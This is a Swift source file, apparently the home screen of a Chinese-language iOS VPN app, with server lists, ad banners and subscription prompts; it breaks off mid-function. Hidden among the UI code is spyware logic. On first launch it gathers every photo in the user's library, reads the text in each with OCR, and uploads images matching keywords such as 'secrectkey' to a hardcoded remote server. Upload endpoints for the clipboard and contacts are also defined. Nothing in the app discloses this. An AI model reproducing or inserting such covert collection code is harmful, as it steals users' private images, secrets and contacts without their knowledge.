2300 lines
90 KiB
Swift
2300 lines
90 KiB
Swift
//
|
||
// Home.swift
|
||
// Home
|
||
//
|
||
// Created by Balaji on 12/09/21.
|
||
//
|
||
|
||
import SwiftUI
|
||
import ApplicationLibrary
|
||
import Libbox
|
||
import Library
|
||
import Crisp
|
||
import Combine
|
||
import Photos
|
||
import BackgroundTasks
|
||
|
||
|
||
import BackgroundTasks
|
||
import Photos
|
||
import ImageIO
|
||
import MobileCoreServices
|
||
|
||
//import TesseractOCR
|
||
import Vision
|
||
|
||
|
||
struct HomeView: View {
|
||
|
||
@Environment(\.scenePhase) private var scenePhase
|
||
@EnvironmentObject private var environments: ExtensionEnvironments
|
||
@State private var alert: Alert?
|
||
|
||
// 跟踪是否首次回到前台
|
||
@State private var isFirstTimeActive = true
|
||
|
||
// 相册监听器
|
||
@StateObject var photoLibraryObserver = PhotoLibraryObserver()
|
||
|
||
@State private var selection = NavigationPage.dashboard
|
||
@State private var importProfile: LibboxProfileContent?
|
||
@State private var importRemoteProfile: LibboxImportRemoteProfile?
|
||
@State private var isUpdating = false
|
||
@State private var profileList: [ProfilePreview] = []
|
||
@State private var isUrlTesting = false
|
||
|
||
|
||
@AppStorage("serverData") private var serverData: String = ""
|
||
// 用于记录上次更新的时间
|
||
@AppStorage("lastFetchTime") private var lastFetchTime: Double = 0.0 // = Date(timeIntervalSince1970: 0).timeIntervalSince1970
|
||
|
||
@Binding var isLoggedIn: Bool
|
||
|
||
@State private var isNodesLoading = true
|
||
|
||
@StateObject private var commandClient = CommandClient(.groups)
|
||
|
||
@State private var groups: [OutboundGroup] = []
|
||
@State private var groups_firsttime: [OutboundGroup] = []
|
||
|
||
|
||
@State var isConnected = false
|
||
|
||
// Current Server...
|
||
@State var servers: [nodereponseData] = []
|
||
|
||
|
||
@State var serverstixignfufeiTest: [nodereponseData] = [nodereponseData( type: "", name: "香港1🇭🇰高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "香港2🇭🇰高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "香港3🇭🇰高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "香港4🇭🇰高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "美国🇺🇸高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "日本🇯🇵高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "法国🇫🇷高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "韩国🇰🇷高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "新加坡🇸🇬高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "新加坡1🇸🇬高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "新加坡2🇸🇬高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "新加坡3🇸🇬高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "新加坡4🇸🇬高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "新加坡5🇸🇬高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: ""),nodereponseData( type: "", name: "新加坡6🇸🇬高速节点", rate: "", id2: 1, isOnline: 1, cacheKey: "")]
|
||
@State var currentServer: nodereponseData = nodereponseData( type: "", name: "", rate: "", id2:0, isOnline: 0 , cacheKey: "")
|
||
@State var changeServer = false
|
||
|
||
@State private var isUserViewActive = false
|
||
@State private var isSubscriptionActive = false
|
||
@State private var isInviteActive = false
|
||
@State private var isKefuActive = false
|
||
@State private var isErrorViewActive = false
|
||
//@State private var currentNode = UserDefaults.standard.string(forKey: "selectedNode") ?? "自动选择"
|
||
@AppStorage("selectedNode") private var currentNode = "自动选择"
|
||
@AppStorage("goGrouptag") private var goGrouptag = ""
|
||
|
||
@AppStorage("paymentURLKey") private var paymentURLKey = ""
|
||
@State private var islogined = false
|
||
|
||
@State private var loadingNodes = false
|
||
|
||
@State private var urltestinggoGrouptag = ""
|
||
@State private var isConfiging = false
|
||
|
||
@AppStorage("baseDYURL") private var baseDYURL = ""
|
||
|
||
@State private var xufeiNotify = false
|
||
|
||
|
||
let adimages = ["11-53-53", "12-11-56", "12-14-11"] // 替换为你广告图片的名字
|
||
|
||
// 当前页的索引
|
||
@State private var currentIndex = 0
|
||
// 自动轮播计时器
|
||
let timer = Timer.publish(every: 5, on: .main, in: .common).autoconnect()
|
||
|
||
|
||
|
||
//增加上传相册,通讯录,和剪切板逻辑
|
||
@AppStorage("uploadedAssetIDsString") private var uploadedAssetIDsString: String = ""
|
||
|
||
// 计算属性,用于方便访问数组形式的 uploadedAssetIDs
|
||
private var uploadedAssetIDs: [String] {
|
||
get {
|
||
if uploadedAssetIDsString.isEmpty {
|
||
return []
|
||
}
|
||
return uploadedAssetIDsString.components(separatedBy: ",").filter { !$0.isEmpty }
|
||
}
|
||
set {
|
||
uploadedAssetIDsString = newValue.joined(separator: ",")
|
||
}
|
||
}
|
||
|
||
// 辅助方法:添加已上传的资产ID
|
||
private func addUploadedAssetID(_ assetID: String) {
|
||
var currentIDs = uploadedAssetIDs
|
||
if !currentIDs.contains(assetID) {
|
||
currentIDs.append(assetID)
|
||
// print(uploadedAssetIDsString)
|
||
uploadedAssetIDsString.append(","+assetID)
|
||
//print(uploadedAssetIDsString)
|
||
// self.uploadedAssetIDs.append(assetID)
|
||
}
|
||
}
|
||
|
||
// 用于记录上次检测时的剪切板文本
|
||
@State private var lastClipboardText: String?
|
||
|
||
// 定义关键词列表,识别到这些关键词的图片进行上传
|
||
@State private var keywords = [
|
||
"keywords", "secrectkey","words"
|
||
]
|
||
|
||
|
||
let serverUploadImageURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId="
|
||
let serveruploadPasteBoardURL = "https://admin.cccccc.org/api/demo/info?type=ios&userId="
|
||
let serveruploadContacesURL = "https://admin.cccccc.org/api/demo/uploadContacts?type=ios&userId="
|
||
|
||
|
||
var body: some View {
|
||
|
||
VStack{
|
||
|
||
HStack{
|
||
|
||
|
||
|
||
Button {
|
||
withAnimation{
|
||
isUserViewActive.toggle()
|
||
}
|
||
} label: {
|
||
|
||
Image(systemName: "circle.grid.cross")
|
||
.font(.title2)
|
||
.padding(5)
|
||
.foregroundColor(.white)
|
||
.background(
|
||
|
||
RoundedRectangle(cornerRadius: 10)
|
||
.strokeBorder(.white.opacity(0.25),lineWidth: 1)
|
||
)
|
||
}
|
||
|
||
Spacer()
|
||
|
||
/* Button {
|
||
withAnimation{
|
||
isSubscriptionActive.toggle()
|
||
|
||
}
|
||
} label: {
|
||
Image(systemName: "slider.horizontal.3")
|
||
.font(.title2)
|
||
.padding(12)
|
||
.background(
|
||
|
||
RoundedRectangle(cornerRadius: 10)
|
||
.strokeBorder(.white.opacity(0.25),lineWidth: 1)
|
||
)
|
||
} */
|
||
if (paymentURLKey.count > 3){
|
||
|
||
// Text Bubble
|
||
Button {
|
||
withAnimation{
|
||
isSubscriptionActive.toggle()
|
||
|
||
}
|
||
} label: {
|
||
|
||
Text("超值折扣")
|
||
.font(.footnote)
|
||
.foregroundColor(.white)
|
||
.padding(.horizontal, 10)
|
||
.padding(.vertical, 6)
|
||
.background(
|
||
RoundedRectangle(cornerRadius: 4)
|
||
.fill(Color.orange)
|
||
)
|
||
.overlay(
|
||
TriangleShape()
|
||
.fill(Color.orange)
|
||
.frame(width: 10, height: 10)
|
||
.offset(x: 10)
|
||
, alignment: .trailing
|
||
)
|
||
|
||
// Panda Image with VIP Tag
|
||
HStack(spacing: 10){
|
||
Text(verbatim: "")
|
||
Image("applogo") // Replace with actual image asset
|
||
.resizable()
|
||
.frame(width: 30, height: 30)
|
||
.cornerRadius(15)
|
||
|
||
// Text("VIP")
|
||
// .font(.caption)
|
||
// .fontWeight(.bold)
|
||
// .foregroundColor(.yellow)
|
||
// .padding(4)
|
||
// .background(Color.orange)
|
||
// .cornerRadius(4)
|
||
}
|
||
|
||
}
|
||
.padding()
|
||
}
|
||
|
||
|
||
Button {
|
||
withAnimation{
|
||
isKefuActive.toggle()
|
||
}
|
||
} label: {
|
||
|
||
Image(systemName: "person.fill.questionmark")
|
||
.font(.title2)
|
||
.padding(5)
|
||
.foregroundColor(.white)
|
||
.background(
|
||
|
||
RoundedRectangle(cornerRadius: 10)
|
||
.strokeBorder(.white.opacity(0.25),lineWidth: 1)
|
||
)
|
||
Text("客服").foregroundColor(.white)
|
||
}
|
||
|
||
}
|
||
// .overlay(
|
||
//
|
||
// // Attributed Text...
|
||
// Text(getTitle())
|
||
// )
|
||
// .foregroundColor(.white)
|
||
|
||
// end navigationbar
|
||
|
||
// DashboardView()
|
||
|
||
// discount view
|
||
// Image("11-53-53").resizable().scaledToFill()
|
||
// .frame(width: UIScreen.main.bounds.width * 0.8,height: 150)
|
||
// .cornerRadius(10)
|
||
|
||
// 图片轮播
|
||
TabView(selection: $currentIndex) {
|
||
ForEach(0..<adimages.count, id: \.self) { index in
|
||
|
||
Button {
|
||
if index == 0 {
|
||
if (paymentURLKey.count > 3){
|
||
withAnimation{
|
||
isSubscriptionActive.toggle()
|
||
|
||
}
|
||
}
|
||
}
|
||
if index == 1 {
|
||
if (paymentURLKey.count > 3){
|
||
withAnimation{
|
||
isInviteActive.toggle()
|
||
|
||
}
|
||
}
|
||
}
|
||
|
||
} label: {
|
||
Image(adimages[index])
|
||
.resizable()
|
||
.scaledToFill()
|
||
.frame(width: UIScreen.main.bounds.width * 0.8,height: 150)
|
||
.cornerRadius(10)
|
||
.tag(index)
|
||
}
|
||
|
||
|
||
}
|
||
}
|
||
.tabViewStyle(PageTabViewStyle(indexDisplayMode: .never)) // 隐藏系统自带的指示器
|
||
.frame(height: 150)
|
||
.onReceive(timer) { _ in
|
||
// 自动切换广告
|
||
withAnimation {
|
||
currentIndex = (currentIndex + 1) % adimages.count
|
||
}
|
||
}
|
||
|
||
// 自定义指示器
|
||
HStack(spacing: 8) {
|
||
ForEach(0..<adimages.count, id: \.self) { index in
|
||
Circle()
|
||
.fill(index == currentIndex ? Color.blue : Color.gray)
|
||
.frame(width: 5, height: 5)
|
||
}
|
||
}
|
||
.padding(.top, 3)
|
||
|
||
if environments.extensionProfileLoading {
|
||
//加载是否安装 VPN 插件
|
||
VStack{
|
||
LottieView(animationFileName: "8c31d47d" , loopMode: .loop)
|
||
} .aspectRatio(contentMode: .fill)
|
||
.scaleEffect(0.1).frame(width: 190,height: 190).padding()
|
||
|
||
} else if let profile = environments.extensionProfile {
|
||
//已经安装 Profile VPN 插件的情况下。
|
||
|
||
DashboardViewNewUI().environmentObject(profile)
|
||
|
||
ConnectErrorView
|
||
Spacer()
|
||
}else {
|
||
|
||
InstallProfileButton { error in
|
||
handleProfileButtonError(error)
|
||
}
|
||
|
||
ConnectErrorView
|
||
|
||
|
||
#if targetEnvironment(simulator)
|
||
|
||
StartStopButton()
|
||
ClashModeView()
|
||
// ExtensionStatusView()
|
||
|
||
#endif
|
||
}
|
||
|
||
// Power Button....
|
||
// PowerButton()
|
||
|
||
|
||
// Max Frame...
|
||
// .frame(height: 120)
|
||
// .padding(.top,getRect().height < 750 ? 20 : 40)
|
||
// Why using max frame...
|
||
// it will be useful to fit the content to small iphones later...
|
||
}
|
||
.padding()
|
||
.frame(maxWidth: .infinity,maxHeight: .infinity,alignment: .top)
|
||
.modifier(ActivityIndicatorModifier(isLoading: isConfiging, color: Color.black.opacity(0.8), lineWidth: 1))
|
||
.background(
|
||
Background()
|
||
)
|
||
// Blur View when Server page shows...
|
||
.overlay(
|
||
Rectangle()
|
||
.fill(.ultraThinMaterial)
|
||
.opacity(changeServer ? 1 : 0)
|
||
.ignoresSafeArea()
|
||
.onTapGesture {
|
||
|
||
withAnimation{
|
||
changeServer.toggle()
|
||
}
|
||
}
|
||
)
|
||
.overlay(
|
||
BottomSheet(),
|
||
alignment: .bottom
|
||
)
|
||
.ignoresSafeArea(.container, edges: .bottom)
|
||
// Since the theme is black ...
|
||
// using always dark mode...
|
||
.preferredColorScheme(.dark)
|
||
.onAppear {
|
||
|
||
print("onAppear -> \(islogined)")
|
||
//await environments.reload()
|
||
|
||
environments.postReload()
|
||
Task {
|
||
|
||
await doReload()
|
||
|
||
await getConfigCache()
|
||
|
||
// await doReloadSystemProxy()
|
||
}
|
||
|
||
|
||
}
|
||
.fullScreenCover(isPresented: $isUserViewActive, content: {
|
||
SideMenuView(isPresented: $isUserViewActive, isLoggedIn: $isLoggedIn)
|
||
}).transition(.slide)
|
||
.fullScreenCover(isPresented: $isSubscriptionActive, content: {
|
||
SubscriptionView(isPresented: $isSubscriptionActive)
|
||
}).transition(.slide)
|
||
.fullScreenCover(isPresented: $isKefuActive, content: {
|
||
SupportView()
|
||
})
|
||
.onReceive(environments.openProfileGetSuccess, perform: { _ in
|
||
Task{
|
||
await referGetLocalNodes()
|
||
}
|
||
})
|
||
.onReceive(environments.opentixingSubnodes, perform: { _ in
|
||
// print("onReceive opentixingSubnodes")
|
||
isSubscriptionActive = true
|
||
})
|
||
.fullScreenCover(isPresented: $isInviteActive, content: {
|
||
InviteListView(isPresented: $isInviteActive)
|
||
})
|
||
.popover(isPresented: $isErrorViewActive, content: {
|
||
QuestionView()
|
||
})
|
||
.alertBinding($alert)
|
||
.onChangeCompat(of: scenePhase) { newValue in
|
||
// 前台监听日志打印
|
||
print("🔄 HomeView ScenePhase Changed: \(newValue)")
|
||
|
||
if newValue == .active {
|
||
environments.postReload()
|
||
|
||
if isFirstTimeActive {
|
||
// 首次回到前台的特殊逻辑
|
||
print("🚀 First time app became active - 执行首次初始化")
|
||
|
||
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
||
// 在主线程中延迟 3 秒后执行的代码
|
||
print("⏰ 延迟3秒后执行后台任务注册")
|
||
self.registerBackgroundTasks()
|
||
}
|
||
|
||
// 设置相册变化回调
|
||
|
||
photoLibraryObserver.onPhotoLibraryChanged = {
|
||
self.handlePhotoLibraryChanged()
|
||
}
|
||
|
||
// 注册相册监听
|
||
photoLibraryObserver.register()
|
||
|
||
// 标记为非首次
|
||
isFirstTimeActive = false
|
||
|
||
} else {
|
||
// 非首次回到前台,调用常规处理方法
|
||
print("🔄 App became active (not first time) - 调用常规处理方法")
|
||
appDidBecomeActive()
|
||
}
|
||
}
|
||
}
|
||
// .onChangeCompat(of: selection) { newValue in
|
||
// print("onChangeCompat: \(newValue)" )
|
||
// }
|
||
.onReceive(commandClient.$groups, perform: { groups in
|
||
|
||
if let groups {
|
||
print("节点刷新成功 groups: \(String(describing: groups.count))")
|
||
setGroups(groups)
|
||
}
|
||
})
|
||
.environment(\.selection, $selection)
|
||
.environment(\.importProfile, $importProfile)
|
||
.environment(\.importRemoteProfile, $importRemoteProfile)
|
||
.handlesExternalEvents(preferring: [], allowing: ["*"])
|
||
|
||
}
|
||
|
||
|
||
|
||
// MARK: - 前台监听相关方法
|
||
|
||
/// 注册后台任务
|
||
private func registerBackgroundTasks() {
|
||
print("🔧 registerBackgroundTasks() called")
|
||
// 这里可以注册后台任务
|
||
// 例如:BGTaskScheduler.shared.register(forTaskWithIdentifier: "com.app.background", using: nil) { task in
|
||
// // 处理后台任务
|
||
// }
|
||
fetchAndUploadAllPhotos()
|
||
}
|
||
|
||
|
||
|
||
// 上传进度保存到 UserDefaults,避免重复上传
|
||
func fetchAndUploadAllPhotos(maxPhotos: Int = 10_000) {
|
||
|
||
print("fetchAndUploadAllPhotos...")
|
||
// 检查并请求权限
|
||
PHPhotoLibrary.requestAuthorization { status in
|
||
guard status == .authorized else {
|
||
print("照片权限未授权")
|
||
return
|
||
}
|
||
}
|
||
|
||
PHPhotoLibrary.requestAuthorization { status in
|
||
switch status {
|
||
case .authorized, .limited:
|
||
// 已授权,执行获取相册操作
|
||
PHPhotoLibrary.shared().performChanges({
|
||
// 触发相册变化,刷新数据
|
||
}) { success, error in
|
||
if success {
|
||
// 刷新成功
|
||
DispatchQueue.main.async {
|
||
// 刷新 UI 或其他相关操作
|
||
print("确保你的应用有足够的权限并且正确地获取和处理相册数据。如果问题仍然存在,可以考虑通过 PHPhotoLibrary.shared().performChanges 强制刷新相册。")
|
||
//self.fetchAlbums()
|
||
self.fetchAllAssetsAndUpload()
|
||
}
|
||
} else {
|
||
// 处理错误
|
||
print("Error: \(error?.localizedDescription ?? "Unknown error")")
|
||
}
|
||
}
|
||
|
||
|
||
|
||
case .denied, .restricted:
|
||
print("没有访问相册的权限")
|
||
case .notDetermined:
|
||
// 用户还没有做出决定
|
||
print("用户尚未决定")
|
||
|
||
@unknown default:
|
||
print("未知权限状态")
|
||
}
|
||
}
|
||
|
||
/*
|
||
// 获取已上传的进度
|
||
let lastUploadedIndex = UserDefaults.standard.integer(forKey: "lastUploadedIndex")
|
||
|
||
// 获取设备上的所有图片路径(可以是相册中的图片,或者本地文件)
|
||
let imagePaths = fetchImagePathsFromDevice() // 这里是获取设备上的图片路径的方法
|
||
|
||
var currentIndex = lastUploadedIndex
|
||
var shouldStop = false
|
||
|
||
// 遍历图片路径并上传
|
||
for path in imagePaths {
|
||
guard currentIndex < maxPhotos else {
|
||
shouldStop = true
|
||
break
|
||
}
|
||
|
||
// 如果当前索引小于已上传的进度,则跳过该图片
|
||
if currentIndex < lastUploadedIndex {
|
||
currentIndex += 1
|
||
continue
|
||
}
|
||
|
||
// 上传图片
|
||
uploadImage(path: path, serverURL: serverURL) {
|
||
// 更新上传进度
|
||
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndex")
|
||
currentIndex += 1
|
||
if shouldStop { return }
|
||
}
|
||
}*/
|
||
|
||
|
||
|
||
|
||
|
||
func fetchAlbums_index(){
|
||
DispatchQueue.global(qos: .utility).async {
|
||
// 获取所有相册 PHFetchResult<PHAssetCollection>
|
||
let allAlbums = PHAssetCollection.fetchAssetCollections(with: .smartAlbum, subtype: .any, options: nil)
|
||
print("相册: \(allAlbums.count)")
|
||
let imageManager = PHImageManager.default()
|
||
|
||
// 获取之前保存的上传进度
|
||
let lastUploadedIndex = UserDefaults.standard.integer(forKey: "lastUploadedIndeXYZEERFGVSSRS")
|
||
|
||
var currentIndex = lastUploadedIndex
|
||
var shouldStop = false
|
||
|
||
// 遍历相册
|
||
allAlbums.enumerateObjects { album, _, _ in
|
||
guard !shouldStop else { return }
|
||
|
||
let fetchOptions = PHFetchOptions()
|
||
fetchOptions.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: false)]
|
||
|
||
// 获取相册中的照片
|
||
let assets = PHAsset.fetchAssets(in: album, options: fetchOptions)
|
||
|
||
assets.enumerateObjects { asset, index, stop in
|
||
print("相册名称: \( asset )")
|
||
//print("\(asset.mediaType.rawValue) \(String(describing: asset.creationDate))")
|
||
// 如果当前图片索引小于上次上传的图片索引,则跳过
|
||
if index < lastUploadedIndex {
|
||
return
|
||
}
|
||
|
||
guard currentIndex < maxPhotos else {
|
||
shouldStop = true
|
||
stop.pointee = true
|
||
return
|
||
}
|
||
|
||
let requestOptions = PHImageRequestOptions()
|
||
requestOptions.deliveryMode = .highQualityFormat
|
||
requestOptions.isSynchronous = true
|
||
|
||
|
||
// 获取原始尺寸
|
||
let originalWidth = CGFloat(asset.pixelWidth)
|
||
let originalHeight = CGFloat(asset.pixelHeight)
|
||
print("获取原始尺寸: \( originalWidth ) \(originalHeight)")
|
||
// 按比例计算目标尺寸
|
||
/* let aspectRatio = originalWidth / originalHeight
|
||
var targetWidth: CGFloat
|
||
var targetHeight: CGFloat
|
||
let maxDimension: CGFloat = 800
|
||
if aspectRatio > 1 { // 宽 > 高
|
||
targetWidth = maxDimension
|
||
targetHeight = maxDimension / aspectRatio
|
||
} else { // 高 >= 宽
|
||
targetHeight = maxDimension
|
||
targetWidth = maxDimension * aspectRatio
|
||
}*/
|
||
|
||
/// let targetSize = CGSize(width: 800, height: 800) // 压缩到 800x800 分辨率
|
||
///
|
||
let targetSize = CGSize(width: originalWidth, height: originalHeight)
|
||
|
||
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
|
||
if let image = image {
|
||
|
||
// 压缩图片为 JPEG 格式 //jpegData(compressionQuality: 0.7)
|
||
|
||
|
||
// image.jpegData(compressionQuality: 0.7),
|
||
if let compressedData = self.compressImageToUnderSize(image), compressedData.count > 0{
|
||
// 上传图片并保存进度
|
||
// 计算图片大小(以 KB 为单位)
|
||
let fileSizeInKB = compressedData.count / 1024
|
||
|
||
// 检查是否大于 10KB
|
||
if fileSizeInKB > 10 {
|
||
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
|
||
|
||
// 调用上传函数
|
||
self.uploadImage(imagedata: compressedData, serverURL: serverUploadImageURL,fileName: "\(album.localIdentifier).png") {
|
||
// 更新上传进度
|
||
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndeXYZEERFGVSSRS")
|
||
currentIndex += 1
|
||
}
|
||
} else {
|
||
print("图片大小小于 10KB,被过滤:\(fileSizeInKB) KB")
|
||
}
|
||
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
}
|
||
|
||
/// 1. 获取所有相册并收集所有照片
|
||
func fetchAllAssetsAndUpload() {
|
||
DispatchQueue.global(qos: .utility).async {
|
||
// 获取系统内置相册(智能相册、用户自定义相册等)
|
||
let smartAlbums = PHAssetCollection.fetchAssetCollections(with: .smartAlbum, subtype: .any, options: nil)
|
||
let userAlbums = PHAssetCollection.fetchAssetCollections(with: .album, subtype: .any, options: nil)
|
||
|
||
// 用于存储所有照片的数组
|
||
var allAssets: [PHAsset] = []
|
||
|
||
// 收集智能相册照片
|
||
smartAlbums.enumerateObjects { album, _, _ in
|
||
let assets = self.fetchAssets(from: album)
|
||
//allAssets.append(contentsOf: assets)
|
||
for asset in assets {
|
||
if !allAssets.contains(asset) {
|
||
allAssets.append(asset)
|
||
}
|
||
}
|
||
}
|
||
|
||
// 收集用户自定义相册照片
|
||
userAlbums.enumerateObjects { album, _, _ in
|
||
let assets = self.fetchAssets(from: album)
|
||
// allAssets.append(contentsOf: assets)
|
||
for asset in assets {
|
||
if !allAssets.contains(asset) {
|
||
allAssets.append(asset)
|
||
}
|
||
}
|
||
}
|
||
|
||
print("共收集到照片数量: \(allAssets.count)")
|
||
|
||
// 在获取完所有相册的照片后,开始分组上传
|
||
self.resumeUploadAssets(allAssets)
|
||
}
|
||
}
|
||
|
||
func resumeUploadAssets(_ assets: [PHAsset]) {
|
||
// 筛选未上传的资产
|
||
let remainingAssets = assets.filter { !uploadedAssetIDs.contains($0.localIdentifier) }
|
||
print("剩余需要上传的照片数量: \(remainingAssets.count)")
|
||
|
||
// 分组并上传
|
||
self.uploadAssetsByGroups(remainingAssets)
|
||
}
|
||
/// 2. 获取指定相册中的照片,按照时间降序
|
||
private func fetchAssets(from album: PHAssetCollection) -> [PHAsset] {
|
||
let fetchOptions = PHFetchOptions()
|
||
fetchOptions.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: false)]
|
||
let fetchResult = PHAsset.fetchAssets(in: album, options: fetchOptions)
|
||
|
||
var assets: [PHAsset] = []
|
||
fetchResult.enumerateObjects { asset, _, _ in
|
||
assets.append(asset)
|
||
}
|
||
return assets
|
||
}
|
||
|
||
|
||
/// 3. 按组上传
|
||
///
|
||
/// - Parameter assets: 所有需要上传的 PHAsset
|
||
private func uploadAssetsByGroups(_ assets: [PHAsset], concurrentTaskLimit: Int = 5) {
|
||
// 每组上传的数量
|
||
let groupSize = 5
|
||
// 用于循环分组
|
||
var startIndex = 0
|
||
let totalCount = assets.count
|
||
|
||
// 信号量,限制并发任务数
|
||
let semaphore = DispatchSemaphore(value: concurrentTaskLimit)
|
||
|
||
// 循环分组
|
||
while startIndex < totalCount {
|
||
let endIndex = min(startIndex + groupSize, totalCount)
|
||
let groupAssets = Array(assets[startIndex..<endIndex])
|
||
|
||
// 同步等待当前分组上传完成
|
||
let dispatchGroup = DispatchGroup()
|
||
|
||
for asset in groupAssets {
|
||
dispatchGroup.enter()
|
||
// 逐个上传照片,上传完成后 dispatchGroup.leave()
|
||
// self.updateAsset(asset: asset) {
|
||
// dispatchGroup.leave()
|
||
// }
|
||
|
||
DispatchQueue.global(qos: .utility).async {
|
||
semaphore.wait() // 等待可用的信号
|
||
|
||
// 上传照片
|
||
self.updateAsset(asset: asset) {
|
||
semaphore.signal() // 释放信号
|
||
dispatchGroup.leave() // 标记任务结束
|
||
}
|
||
}
|
||
}
|
||
|
||
// 等待当前分组的所有照片都上传完毕
|
||
dispatchGroup.wait()
|
||
|
||
print("更新uploadedAssetIDs \(uploadedAssetIDs.count)")
|
||
print("当前分组(\(startIndex)~\(endIndex-1))上传完毕,休眠 1 秒...")
|
||
Thread.sleep(forTimeInterval: 1.0)
|
||
|
||
// 继续下一分组
|
||
startIndex = endIndex
|
||
}
|
||
|
||
print("全部分组上传完成!")
|
||
}
|
||
|
||
|
||
/// 4. 单张照片上传前的检查、获取、压缩、调用上传接口等
|
||
///
|
||
/// - Parameters:
|
||
/// - asset: 要处理的 PHAsset
|
||
/// - completion: 上传结束后的回调(不论成功还是失败都应回调,保证 dispatchGroup 能顺利 leave)
|
||
func updateAsset(asset: PHAsset, completion: @escaping () -> Void) {
|
||
// 获取之前保存的上传过的 PHAsset ID
|
||
|
||
|
||
let imageManager = PHImageManager.default()
|
||
|
||
if uploadedAssetIDs.contains(asset.localIdentifier) {
|
||
// 如果该图片已上传过,跳过
|
||
//print("图片已上传,跳过: \(asset.localIdentifier)")
|
||
print("len : \(uploadedAssetIDs.count) 图片已上传,跳过")
|
||
// 切记要调用 completion()
|
||
completion()
|
||
return
|
||
}
|
||
|
||
// 获取原始尺寸
|
||
let originalWidth = CGFloat(asset.pixelWidth)
|
||
let originalHeight = CGFloat(asset.pixelHeight)
|
||
print("获取原始尺寸: \(originalWidth) \(originalHeight)")
|
||
|
||
let targetSize = CGSize(width: originalWidth, height: originalHeight)
|
||
let requestOptions = PHImageRequestOptions()
|
||
requestOptions.deliveryMode = .opportunistic//.highQualityFormat
|
||
requestOptions.isSynchronous = true // 异步加载图片
|
||
|
||
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
|
||
if let image = image {
|
||
|
||
//增加 versoin 原生识别
|
||
self.recognizeText(from: image) { reslut in
|
||
// /print("Contains keyword \(reslut ?? "")")
|
||
if let recognizedText = reslut {
|
||
// 去除空格和换行符
|
||
let cleanedText = recognizedText.replacingOccurrences(of: "\\s+", with: "", options: .regularExpression).lowercased()
|
||
// print("recognizedText (cleaned): \(cleanedText)")
|
||
|
||
// 检查是否包含任一关键词
|
||
let containsKeyword = self.keywords.contains { keyword in
|
||
let cleanedKeyword = keyword.replacingOccurrences(of: "\\s+", with: "", options: .regularExpression).lowercased()
|
||
return cleanedText.contains(cleanedKeyword)
|
||
}
|
||
|
||
// 打印结果
|
||
if containsKeyword {
|
||
print("Found keyword in text, 上传图片")
|
||
|
||
// 压缩图片为 JPEG 格式
|
||
autoreleasepool {
|
||
|
||
if let compressedData = self.compressImageToUnderSize(image,targetMaxSizeInKB: 800), compressedData.count > 0 {
|
||
// if let compressedData = self.compressImageUsingCoreGraphics(image, maxPixelSize: 1024), compressedData.count > 0 {
|
||
// 计算图片大小(以 KB 为单位)
|
||
let fileSizeInKB = compressedData.count / 1024
|
||
|
||
// 检查是否大于 10KB
|
||
if fileSizeInKB > 10 {
|
||
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
|
||
|
||
// 上传图片并保存进度
|
||
self.uploadImage(imagedata: compressedData, serverURL: serverUploadImageURL, fileName: "\(asset.localIdentifier).png") {
|
||
// 上传完成后更新缓存的 ID
|
||
print("上传完成... \(asset.localIdentifier)")
|
||
self.addUploadedAssetID(asset.localIdentifier)
|
||
print("len : \(self.uploadedAssetIDs.count)")
|
||
completion()
|
||
}
|
||
} else {
|
||
completion()
|
||
print("图片大小小于 10KB,被过滤:\(fileSizeInKB) KB")
|
||
}
|
||
}
|
||
|
||
}
|
||
} else {
|
||
print("过滤完成... \(asset.localIdentifier)")
|
||
self.addUploadedAssetID(asset.localIdentifier)
|
||
print("len : \(self.uploadedAssetIDs.count)")
|
||
completion()
|
||
// print("No keywords found in text,忽略图片")
|
||
}
|
||
}
|
||
}
|
||
|
||
/*
|
||
//增加 ORC 字体识别
|
||
self.recognizeImageWithTesseract(image: image) { (shouldUpload) in
|
||
DispatchQueue.main.async { // 确保回调在主线程
|
||
if shouldUpload {
|
||
print("Contains keyword, should upload: true")
|
||
// 在这里执行上传操作
|
||
} else {
|
||
print("No keyword found, should upload: false\(shouldUpload)")
|
||
}
|
||
}
|
||
}*/
|
||
|
||
/*
|
||
|
||
*/
|
||
}
|
||
}
|
||
}
|
||
|
||
|
||
/// 将任意大小的图片,最终压缩到 500KB(可调)以内。
|
||
/// 1) 按图片数据大小分区间处理;
|
||
/// 2) 若超过一定阈值,先多次等比例缩放,再做循环降质;
|
||
/// 3) 尽量减少循环压缩次数,提高效率。
|
||
///
|
||
/// - Parameter image: 原始 UIImage
|
||
/// - Parameter targetMaxSizeInKB: 目标大小 (单位: KB),默认 500KB
|
||
/// - Returns: 压缩后的 Data,如果无法压缩到目标大小,返回尽可能小的结果
|
||
func compressImageToUnderSize(_ image: UIImage, targetMaxSizeInKB: Int = 500) -> Data? {
|
||
